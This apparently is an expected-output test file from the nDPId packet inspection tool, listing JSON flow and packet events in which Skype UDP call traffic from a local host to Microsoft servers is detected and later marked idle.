+00475{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":804,"source":"skype.pcap","alias":"nDPId-test","flow_id":124,"flow_packet_id":1,"flow_first_seen":1431969669408,"flow_last_seen":0,"flow_tot_l4_data_len":37,"flow_min_l4_data_len":37,"flow_max_l4_data_len":37,"flow_avg_l4_data_len":37,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.56.52.18","src_port":13021,"dst_port":33033,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00432{"flow_id":124,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":804,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969669,"pkt_ts_usec":408592,"pkt_caplen":71,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":71,"pkt_l4_len":37,"pkt":"0NQSxnP1PBXCt3IOCABFAAA5xgUAAEARIZrAqAEinTg0EjLdgQkAJZdLnC4CEFtjW45ZN3BY7kxO5IarNwXkC3qnvdRTMpg="} +00515{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":804,"source":"skype.pcap","alias":"nDPId-test","flow_id":124,"flow_packet_id":1,"flow_first_seen":1431969669408,"flow_last_seen":0,"flow_tot_l4_data_len":37,"flow_min_l4_data_len":37,"flow_max_l4_data_len":37,"flow_avg_l4_data_len":37,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.56.52.18","src_port":13021,"dst_port":33033,"l4_proto":"udp","ndpi": {"proto":"Skype.SkypeCall","breed":"Acceptable","category":"VoIP"}} +00478{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":805,"source":"skype.pcap","alias":"nDPId-test","flow_id":125,"flow_packet_id":1,"flow_first_seen":1431969669408,"flow_last_seen":0,"flow_tot_l4_data_len":41,"flow_min_l4_data_len":41,"flow_max_l4_data_len":41,"flow_avg_l4_data_len":41,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"213.199.179.154","src_port":13021,"dst_port":40034,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00436{"flow_id":125,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":805,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969669,"pkt_ts_usec":408664,"pkt_caplen":75,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":75,"pkt_l4_len":41,"pkt":"0NQSxnP1PBXCt3IOCABFAAA9eQsAAEARtnjAqAEi1cezmjLdnGIAKUaUnDACIJVxUOV7zs6xYvMq6EYi6E1yxVZ+ttOndiNbBj7C"} +00518{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":805,"source":"skype.pcap","alias":"nDPId-test","flow_id":125,"flow_packet_id":1,"flow_first_seen":1431969669408,"flow_last_seen":0,"flow_tot_l4_data_len":41,"flow_min_l4_data_len":41,"flow_max_l4_data_len":41,"flow_avg_l4_data_len":41,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"213.199.179.154","src_port":13021,"dst_port":40034,"l4_proto":"udp","ndpi": {"proto":"Skype.SkypeCall","breed":"Acceptable","category":"VoIP"}} +00436{"flow_id":113,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":806,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969669,"pkt_ts_usec":412702,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"0NQSxnP1PBXCt3IOCABFAAA8SP9AAEAGEBXAqAEinTeCpsOBnFXYqqIiVqVnNYAYEClbUwAAAQEICj4i9HZOrGolRtJrmlCDoq4="} +00436{"flow_id":50,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":807,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969669,"pkt_ts_usec":830994,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"0NQSxnP1PBXCt3IOCABFAAA8FSdAAEAGjenAqAEinTc4qsNxnE+r6BLEPu7rjYAYECqKcwAAAQEICj4i9hhNea2iMpsmfs9xo5c="} +00465{"flow_id":122,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":808,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969669,"pkt_ts_usec":840170,"pkt_caplen":96,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":96,"pkt_l4_len":62,"pkt":"0NQSxnP1PBXCt3IOCABFAABSr9pAAEAGqSPAqAEinTeCpsODAbsS3ITHvVXOp4AYECx3kQAAAQEICj4i9iFOrGuYTUkltcFyUDx1UKDVsGVbE\/Ct+3YM+MpJT8qq59Fj"} +00686{"flow_id":12,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":809,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969669,"pkt_ts_usec":956349,"pkt_caplen":257,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":257,"pkt_l4_len":223,"pkt":"0NQSxnP1PBXCt3IOCABFAADzRR9AAEAG0hrAqAEiF99JIsNrAbvkkjeTMYDD\/oAZECyMHgAAAQEICj4i9pX301nQFgMBALoBAAC2AwNVWh9qIUBTYdqPuvpJ\/EUxWvWdVTCc6qQWuOlUPkFPXAAASgD\/wCTAI8AKwAnACMAowCfAFMATwBLAJsAlwAXABMADwCrAKcAPwA7ADQBrAGcAOQAzABYAPQA8ADUALwAKwAfAEcACwAwABQAEAQAAQwAAABkAFwAAFGFwcHMuc2t5cGVhc3NldHMuY29tAAoACAAGABcAGAAZAAsAAgEAAA0ADAAKBQEEAQIBBAMCAzN0AAA="} +00475{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":810,"source":"skype.pcap","alias":"nDPId-test","flow_id":76,"flow_packet_id":1,"flow_first_seen":1431969660403,"flow_last_seen":0,"flow_tot_l4_data_len":30,"flow_min_l4_data_len":30,"flow_max_l4_data_len":30,"flow_avg_l4_data_len":30,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.56.52.21","src_port":13021,"dst_port":40004,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00475{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":810,"source":"skype.pcap","alias":"nDPId-test","flow_id":78,"flow_packet_id":1,"flow_first_seen":1431969661414,"flow_last_seen":0,"flow_tot_l4_data_len":43,"flow_min_l4_data_len":43,"flow_max_l4_data_len":43,"flow_avg_l4_data_len":43,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.56.52.17","src_port":13021,"dst_port":40013,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00476{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":810,"source":"skype.pcap","alias":"nDPId-test","flow_id":108,"flow_packet_id":1,"flow_first_seen":1431969666429,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.56.52.26","src_port":13021,"dst_port":40026,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00475{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":810,"source":"skype.pcap","alias":"nDPId-test","flow_id":90,"flow_packet_id":1,"flow_first_seen":1431969663378,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.56.52.27","src_port":13021,"dst_port":40027,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00476{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":810,"source":"skype.pcap","alias":"nDPId-test","flow_id":111,"flow_packet_id":1,"flow_first_seen":1431969666429,"flow_last_seen":0,"flow_tot_l4_data_len":30,"flow_min_l4_data_len":30,"flow_max_l4_data_len":30,"flow_avg_l4_data_len":30,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.56.52.47","src_port":13021,"dst_port":40029,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00475{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":810,"source":"skype.pcap","alias":"nDPId-test","flow_id":104,"flow_packet_id":1,"flow_first_seen":1431969665416,"flow_last_seen":0,"flow_tot_l4_data_len":32,"flow_min_l4_data_len":32,"flow_max_l4_data_len":32,"flow_avg_l4_data_len":32,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"64.4.23.146","src_port":13021,"dst_port":33033,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00433{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":810,"source":"skype.pcap","alias":"nDPId-test","flow_id":100,"flow_packet_id":1,"flow_first_seen":1431969665006,"flow_last_seen":0,"flow_tot_l4_data_len":8,"flow_min_l4_data_len":8,"flow_max_l4_data_len":8,"flow_avg_l4_data_len":8,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.92","dst_ip":"224.0.0.251","l4_proto":2,"flow_datalink":1,"flow_max_packets":15} +00431{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":810,"source":"skype.pcap","alias":"nDPId-test","flow_id":93,"flow_packet_id":1,"flow_first_seen":1431969664357,"flow_last_seen":0,"flow_tot_l4_data_len":8,"flow_min_l4_data_len":8,"flow_max_l4_data_len":8,"flow_avg_l4_data_len":8,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.0.254","dst_ip":"224.0.0.1","l4_proto":2,"flow_datalink":1,"flow_max_packets":15} +00477{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":810,"source":"skype.pcap","alias":"nDPId-test","flow_id":121,"flow_packet_id":1,"flow_first_seen":1431969668503,"flow_last_seen":0,"flow_tot_l4_data_len":52,"flow_min_l4_data_len":52,"flow_max_l4_data_len":52,"flow_avg_l4_data_len":52,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.92","dst_ip":"192.168.1.255","src_port":57621,"dst_port":57621,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00475{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":810,"source":"skype.pcap","alias":"nDPId-test","flow_id":109,"flow_packet_id":1,"flow_first_seen":1431969666429,"flow_last_seen":0,"flow_tot_l4_data_len":43,"flow_min_l4_data_len":43,"flow_max_l4_data_len":43,"flow_avg_l4_data_len":43,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"64.4.23.155","src_port":13021,"dst_port":40004,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00475{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":810,"source":"skype.pcap","alias":"nDPId-test","flow_id":115,"flow_packet_id":1,"flow_first_seen":1431969667439,"flow_last_seen":0,"flow_tot_l4_data_len":37,"flow_min_l4_data_len":37,"flow_max_l4_data_len":37,"flow_avg_l4_data_len":37,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"64.4.23.168","src_port":13021,"dst_port":40006,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00474{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":810,"source":"skype.pcap","alias":"nDPId-test","flow_id":73,"flow_packet_id":1,"flow_first_seen":1431969660403,"flow_last_seen":0,"flow_tot_l4_data_len":36,"flow_min_l4_data_len":36,"flow_max_l4_data_len":36,"flow_avg_l4_data_len":36,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"64.4.23.159","src_port":13021,"dst_port":40009,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00474{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":810,"source":"skype.pcap","alias":"nDPId-test","flow_id":96,"flow_packet_id":1,"flow_first_seen":1431969664405,"flow_last_seen":0,"flow_tot_l4_data_len":35,"flow_min_l4_data_len":35,"flow_max_l4_data_len":35,"flow_avg_l4_data_len":35,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"64.4.23.148","src_port":13021,"dst_port":40010,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00474{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":810,"source":"skype.pcap","alias":"nDPId-test","flow_id":79,"flow_packet_id":1,"flow_first_seen":1431969661414,"flow_last_seen":0,"flow_tot_l4_data_len":34,"flow_min_l4_data_len":34,"flow_max_l4_data_len":34,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"64.4.23.170","src_port":13021,"dst_port":40011,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00474{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":810,"source":"skype.pcap","alias":"nDPId-test","flow_id":84,"flow_packet_id":1,"flow_first_seen":1431969662422,"flow_last_seen":0,"flow_tot_l4_data_len":43,"flow_min_l4_data_len":43,"flow_max_l4_data_len":43,"flow_avg_l4_data_len":43,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"64.4.23.143","src_port":13021,"dst_port":40018,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00477{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":810,"source":"skype.pcap","alias":"nDPId-test","flow_id":83,"flow_packet_id":1,"flow_first_seen":1431969662422,"flow_last_seen":0,"flow_tot_l4_data_len":32,"flow_min_l4_data_len":32,"flow_max_l4_data_len":32,"flow_avg_l4_data_len":32,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.55.235.146","src_port":13021,"dst_port":33033,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00476{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":810,"source":"skype.pcap","alias":"nDPId-test","flow_id":124,"flow_packet_id":1,"flow_first_seen":1431969669408,"flow_last_seen":0,"flow_tot_l4_data_len":37,"flow_min_l4_data_len":37,"flow_max_l4_data_len":37,"flow_avg_l4_data_len":37,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.56.52.18","src_port":13021,"dst_port":33033,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00477{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":810,"source":"skype.pcap","alias":"nDPId-test","flow_id":106,"flow_packet_id":1,"flow_first_seen":1431969665416,"flow_last_seen":0,"flow_tot_l4_data_len":42,"flow_min_l4_data_len":42,"flow_max_l4_data_len":42,"flow_avg_l4_data_len":42,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"111.221.74.43","src_port":13021,"dst_port":40001,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00478{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":810,"source":"skype.pcap","alias":"nDPId-test","flow_id":119,"flow_packet_id":1,"flow_first_seen":1431969668393,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"111.221.77.155","src_port":13021,"dst_port":40004,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00477{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":810,"source":"skype.pcap","alias":"nDPId-test","flow_id":80,"flow_packet_id":1,"flow_first_seen":1431969661414,"flow_last_seen":0,"flow_tot_l4_data_len":34,"flow_min_l4_data_len":34,"flow_max_l4_data_len":34,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"111.221.77.168","src_port":13021,"dst_port":40007,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00477{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":810,"source":"skype.pcap","alias":"nDPId-test","flow_id":98,"flow_packet_id":1,"flow_first_seen":1431969664405,"flow_last_seen":0,"flow_tot_l4_data_len":33,"flow_min_l4_data_len":33,"flow_max_l4_data_len":33,"flow_avg_l4_data_len":33,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"111.221.77.141","src_port":13021,"dst_port":40020,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00478{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":810,"source":"skype.pcap","alias":"nDPId-test","flow_id":117,"flow_packet_id":1,"flow_first_seen":1431969667440,"flow_last_seen":0,"flow_tot_l4_data_len":32,"flow_min_l4_data_len":32,"flow_max_l4_data_len":32,"flow_avg_l4_data_len":32,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"111.221.77.143","src_port":13021,"dst_port":40022,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00477{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":810,"source":"skype.pcap","alias":"nDPId-test","flow_id":77,"flow_packet_id":1,"flow_first_seen":1431969661414,"flow_last_seen":0,"flow_tot_l4_data_len":42,"flow_min_l4_data_len":42,"flow_max_l4_data_len":42,"flow_avg_l4_data_len":42,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"111.221.77.151","src_port":13021,"dst_port":40027,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00477{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":810,"source":"skype.pcap","alias":"nDPId-test","flow_id":97,"flow_packet_id":1,"flow_first_seen":1431969664405,"flow_last_seen":0,"flow_tot_l4_data_len":35,"flow_min_l4_data_len":35,"flow_max_l4_data_len":35,"flow_avg_l4_data_len":35,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"111.221.77.148","src_port":13021,"dst_port":40029,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00476{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":810,"source":"skype.pcap","alias":"nDPId-test","flow_id":81,"flow_packet_id":1,"flow_first_seen":1431969661414,"flow_last_seen":0,"flow_tot_l4_data_len":37,"flow_min_l4_data_len":37,"flow_max_l4_data_len":37,"flow_avg_l4_data_len":37,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"111.221.74.44","src_port":13021,"dst_port":40031,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00476{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":810,"source":"skype.pcap","alias":"nDPId-test","flow_id":118,"flow_packet_id":1,"flow_first_seen":1431969667440,"flow_last_seen":0,"flow_tot_l4_data_len":45,"flow_min_l4_data_len":45,"flow_max_l4_data_len":45,"flow_avg_l4_data_len":45,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"65.55.223.33","src_port":13021,"dst_port":40011,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00476{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":810,"source":"skype.pcap","alias":"nDPId-test","flow_id":107,"flow_packet_id":1,"flow_first_seen":1431969666429,"flow_last_seen":0,"flow_tot_l4_data_len":32,"flow_min_l4_data_len":32,"flow_max_l4_data_len":32,"flow_avg_l4_data_len":32,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"65.55.223.44","src_port":13021,"dst_port":40013,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00475{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":810,"source":"skype.pcap","alias":"nDPId-test","flow_id":72,"flow_packet_id":1,"flow_first_seen":1431969660403,"flow_last_seen":0,"flow_tot_l4_data_len":36,"flow_min_l4_data_len":36,"flow_max_l4_data_len":36,"flow_avg_l4_data_len":36,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"65.55.223.17","src_port":13021,"dst_port":40022,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00476{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":810,"source":"skype.pcap","alias":"nDPId-test","flow_id":110,"flow_packet_id":1,"flow_first_seen":1431969666429,"flow_last_seen":0,"flow_tot_l4_data_len":35,"flow_min_l4_data_len":35,"flow_max_l4_data_len":35,"flow_avg_l4_data_len":35,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"65.55.223.41","src_port":13021,"dst_port":40027,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00475{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":810,"source":"skype.pcap","alias":"nDPId-test","flow_id":85,"flow_packet_id":1,"flow_first_seen":1431969662422,"flow_last_seen":0,"flow_tot_l4_data_len":42,"flow_min_l4_data_len":42,"flow_max_l4_data_len":42,"flow_avg_l4_data_len":42,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"65.55.223.25","src_port":13021,"dst_port":40028,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00476{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":810,"source":"skype.pcap","alias":"nDPId-test","flow_id":102,"flow_packet_id":1,"flow_first_seen":1431969665416,"flow_last_seen":0,"flow_tot_l4_data_len":33,"flow_min_l4_data_len":33,"flow_max_l4_data_len":33,"flow_avg_l4_data_len":33,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"65.55.223.24","src_port":13021,"dst_port":40032,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00475{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":810,"source":"skype.pcap","alias":"nDPId-test","flow_id":95,"flow_packet_id":1,"flow_first_seen":1431969664405,"flow_last_seen":0,"flow_tot_l4_data_len":30,"flow_min_l4_data_len":30,"flow_max_l4_data_len":30,"flow_avg_l4_data_len":30,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"65.55.223.20","src_port":13021,"dst_port":40033,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00477{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":810,"source":"skype.pcap","alias":"nDPId-test","flow_id":82,"flow_packet_id":1,"flow_first_seen":1431969662422,"flow_last_seen":0,"flow_tot_l4_data_len":45,"flow_min_l4_data_len":45,"flow_max_l4_data_len":45,"flow_avg_l4_data_len":45,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.55.235.152","src_port":13021,"dst_port":40001,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00477{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":810,"source":"skype.pcap","alias":"nDPId-test","flow_id":92,"flow_packet_id":1,"flow_first_seen":1431969663378,"flow_last_seen":0,"flow_tot_l4_data_len":37,"flow_min_l4_data_len":37,"flow_max_l4_data_len":37,"flow_avg_l4_data_len":37,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.55.235.157","src_port":13021,"dst_port":40010,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00477{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":810,"source":"skype.pcap","alias":"nDPId-test","flow_id":91,"flow_packet_id":1,"flow_first_seen":1431969663378,"flow_last_seen":0,"flow_tot_l4_data_len":30,"flow_min_l4_data_len":30,"flow_max_l4_data_len":30,"flow_avg_l4_data_len":30,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.55.235.173","src_port":13021,"dst_port":40012,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00477{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":810,"source":"skype.pcap","alias":"nDPId-test","flow_id":103,"flow_packet_id":1,"flow_first_seen":1431969665416,"flow_last_seen":0,"flow_tot_l4_data_len":43,"flow_min_l4_data_len":43,"flow_max_l4_data_len":43,"flow_avg_l4_data_len":43,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.55.56.175","src_port":13021,"dst_port":40013,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00478{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":810,"source":"skype.pcap","alias":"nDPId-test","flow_id":120,"flow_packet_id":1,"flow_first_seen":1431969668393,"flow_last_seen":0,"flow_tot_l4_data_len":43,"flow_min_l4_data_len":43,"flow_max_l4_data_len":43,"flow_avg_l4_data_len":43,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.55.130.143","src_port":13021,"dst_port":40017,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00476{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":810,"source":"skype.pcap","alias":"nDPId-test","flow_id":88,"flow_packet_id":1,"flow_first_seen":1431969663378,"flow_last_seen":0,"flow_tot_l4_data_len":30,"flow_min_l4_data_len":30,"flow_max_l4_data_len":30,"flow_avg_l4_data_len":30,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.55.56.166","src_port":13021,"dst_port":40022,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00477{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":810,"source":"skype.pcap","alias":"nDPId-test","flow_id":116,"flow_packet_id":1,"flow_first_seen":1431969667440,"flow_last_seen":0,"flow_tot_l4_data_len":43,"flow_min_l4_data_len":43,"flow_max_l4_data_len":43,"flow_avg_l4_data_len":43,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.55.56.142","src_port":13021,"dst_port":40023,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00477{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":810,"source":"skype.pcap","alias":"nDPId-test","flow_id":74,"flow_packet_id":1,"flow_first_seen":1431969660403,"flow_last_seen":0,"flow_tot_l4_data_len":36,"flow_min_l4_data_len":36,"flow_max_l4_data_len":36,"flow_avg_l4_data_len":36,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.55.235.142","src_port":13021,"dst_port":40025,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00477{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":810,"source":"skype.pcap","alias":"nDPId-test","flow_id":105,"flow_packet_id":1,"flow_first_seen":1431969665416,"flow_last_seen":0,"flow_tot_l4_data_len":34,"flow_min_l4_data_len":34,"flow_max_l4_data_len":34,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.55.56.145","src_port":13021,"dst_port":40027,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00476{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":810,"source":"skype.pcap","alias":"nDPId-test","flow_id":86,"flow_packet_id":1,"flow_first_seen":1431969662422,"flow_last_seen":0,"flow_tot_l4_data_len":43,"flow_min_l4_data_len":43,"flow_max_l4_data_len":43,"flow_avg_l4_data_len":43,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.55.56.151","src_port":13021,"dst_port":40027,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00477{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":810,"source":"skype.pcap","alias":"nDPId-test","flow_id":75,"flow_packet_id":1,"flow_first_seen":1431969660403,"flow_last_seen":0,"flow_tot_l4_data_len":35,"flow_min_l4_data_len":35,"flow_max_l4_data_len":35,"flow_avg_l4_data_len":35,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.55.235.143","src_port":13021,"dst_port":40030,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00478{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":810,"source":"skype.pcap","alias":"nDPId-test","flow_id":89,"flow_packet_id":1,"flow_first_seen":1431969663378,"flow_last_seen":0,"flow_tot_l4_data_len":45,"flow_min_l4_data_len":45,"flow_max_l4_data_len":45,"flow_avg_l4_data_len":45,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"213.199.179.155","src_port":13021,"dst_port":40004,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00479{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":810,"source":"skype.pcap","alias":"nDPId-test","flow_id":123,"flow_packet_id":1,"flow_first_seen":1431969669408,"flow_last_seen":0,"flow_tot_l4_data_len":39,"flow_min_l4_data_len":39,"flow_max_l4_data_len":39,"flow_avg_l4_data_len":39,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"213.199.179.168","src_port":13021,"dst_port":40006,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} 